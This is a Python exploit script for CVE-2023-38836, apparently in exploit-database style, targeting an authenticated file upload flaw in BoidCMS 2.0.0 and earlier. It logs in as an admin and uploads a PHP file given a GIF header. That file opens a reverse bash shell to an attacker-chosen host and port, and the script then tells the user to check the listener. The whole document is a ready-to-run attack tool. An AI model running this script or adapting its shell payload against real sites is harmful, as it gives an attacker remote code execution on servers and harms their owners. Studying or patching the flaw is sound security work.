CVE-2023-38836.py

#!/usr/bin/python3
# Exploit Title: BoidCMS <= 2.0.0 - Authenticated file upload vulnerability
# Date: 08/21/2023
# Updated on: 07/05/2024
# Exploit Author: 1337kid
# Vendor Homepage: https://boidcms.github.io/#/
# Software Link: https://boidcms.github.io/BoidCMS.zip
# Version: <= 2.0.0
# Tested on: Ubuntu
# CVE : CVE-2023-38836

import requests
import re
import argparse

parser = argparse.ArgumentParser(description='Exploit for CVE-2023-38836')
parser.add_argument("-u", "--url", help="website url")
parser.add_argument("-U", "--user", help="admin username")
parser.add_argument("-P", "--passwd", help="admin password")
parser.add_argument("-l", "--lhost", help="listening host")
parser.add_argument("-p", "--lport", help="listening port")

args = parser.parse_args()

argkeys = vars(args)
for i in ['url', 'user', 'passwd', 'lhost', 'lport']:
	if argkeys[i]==None:
		parser.print_help()
		exit()

print(r"========================================")
print(r"======== CVE-2023-38836 Exploit ========")
print(r"========        @1337kid        ========")
print("========================================\n")

base_url=args.url

with requests.Session() as s:
	print(f"[+] Logging in with {args.user}:{args.passwd}")
	req=s.get(f'{base_url}/admin')
	token=re.findall('[a-z0-9]{64}',req.text)
	form_login_data={
		"username":args.user,
		"password":args.passwd,
		"login":"Login",
		"token": token
	}
	req=s.post(f'{base_url}/admin',data=form_login_data)
	if "Incorrect" in req.text:
		print("[+] Login Failed")
		exit()
	print("[+] Logged in successfully")
	#=========== File upload to RCE
	print("[+] Uploading shell.php")
	req=s.get(f'{base_url}/admin?page=media')
	token=re.findall('[a-z0-9]{64}',req.text)
	form_upld_data={
		"token":token,
		"upload":"Upload"
	}
	#==== php shell
	php_code=['GIF89a;\n',f'<?php $sock = fsockopen("{args.lhost}", {args.lport}); proc_open("/bin/bash -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>']
	with open('shell.php','w') as f: f.writelines(php_code)
	#====
	file = {'file' : open('shell.php','rb')}
	s.post(f'{base_url}/admin?page=media',files=file,data=form_upld_data)
	req=s.get(f'{base_url}/media/shell.php')
	if req.status_code == '404':
		print("[-] Upload failed")
		exit()
	print(f'[+] Uploaded to {base_url}/media/shell.php')
	print(f'[+] Check the listener at {args.lhost}:{args.lport}')